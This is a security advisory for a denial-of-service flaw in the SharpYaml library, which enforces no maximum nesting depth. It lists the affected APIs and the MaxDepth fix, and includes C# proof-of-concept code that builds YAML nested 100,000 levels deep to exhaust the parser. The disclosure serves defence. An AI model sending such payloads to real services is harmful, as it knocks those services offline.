Summary

SharpYaml does not enforce a maximum nesting depth when parsing or serializing YAML mappings and sequences. An attacker who can supply YAML input can provide a deeply nested document that may cause excessive CPU/memory usage or stack exhaustion, resulting in denial of service.

Details

Version 3.X

On the main branch / v3 API surface, SharpYaml parsed and materialized YAML mappings and sequences without enforcing a maximum nesting depth. A malicious YAML document with very deep flow or block nesting could force the parser, model loader, or serializer pipeline to recursively/processively consume excessive resources.

Affected entry points included:

•  Parser.CreateParser(TextReader) 
•  YamlStream.Load(TextReader) 
•  YamlSerializer.Deserialize(...) 
•  YamlSerializer.Serialize(...) 
•  YamlReader.Create(...) 
• YAML model conversion paths such as  YamlNode.FromObject(...) 

The fix added  YamlSerializerOptions.MaxDepth , defaulting effectively to  64 , and wired that limit through parser creation, model loading, serializer reads/writes, and  YamlWriter . When the nesting limit is exceeded, SharpYaml now throws  YamlException  with a message indicating that the maximum nesting depth was exceeded.

Version 2.X

Affected parser and serializer entry points process nested YAML collections without a depth guard. This includes APIs such as:

•  Parser.CreateParser(TextReader) 
•  SharpYaml.Model.YamlStream.Load(TextReader) 
•  SharpYaml.Serialization.Serializer.Deserialize(...) 
• Serialization of deeply nested object graphs through  Serializer.Serialize(...) 

The fix adds a configurable maximum depth, defaulting to 64, and throws  YamlException  when the nesting limit is exceeded.

PoC

Version 3.X

using System.IO;
using SharpYaml;
using SharpYaml.Model;
using SharpYaml.Serialization;

var depth = 100_000;
var yaml = new string('[', depth) + "0" + new string(']', depth);

// Parser path
var parser = Parser.CreateParser(new StringReader(yaml));
while (parser.MoveNext())
{
}

// Model loading path
YamlStream.Load(new StringReader(yaml));

// Serializer path
YamlSerializer.Deserialize<object>(yaml);

A mapping variant also reproduces the issue:

using System.Text;
using SharpYaml.Model;

var depth = 100_000;
var builder = new StringBuilder();

for (var i = 0; i < depth; i++)
{
    builder.Append("{a: ");
}

builder.Append('0');

for (var i = 0; i < depth; i++)
{
    builder.Append('}');
}

YamlStream.Load(new StringReader(builder.ToString()));

Version 2.X

Create deeply nested flow-style YAML and parse or deserialize it:

using System.IO;
using SharpYaml;
using SharpYaml.Serialization;

var depth = 100_000;
var yaml = new string('[', depth) + "0" + new string(']', depth);

// Parser path
var parser = Parser.CreateParser(new StringReader(yaml));
while (parser.MoveNext()) { }

// Serializer path
var serializer = new Serializer();
serializer.Deserialize(yaml);

Before the fix, SharpYaml attempts to process the full nesting depth. After the fix, the same input throws a  YamlException  once the configured maximum nesting depth is exceeded.

Impact

This is a denial-of-service vulnerability. Applications that parse YAML from untrusted or semi-trusted sources are impacted, including services that accept YAML configuration, documents, manifests, or API payloads. An unauthenticated attacker may be able to trigger resource exhaustion if such input is accepted without external limits.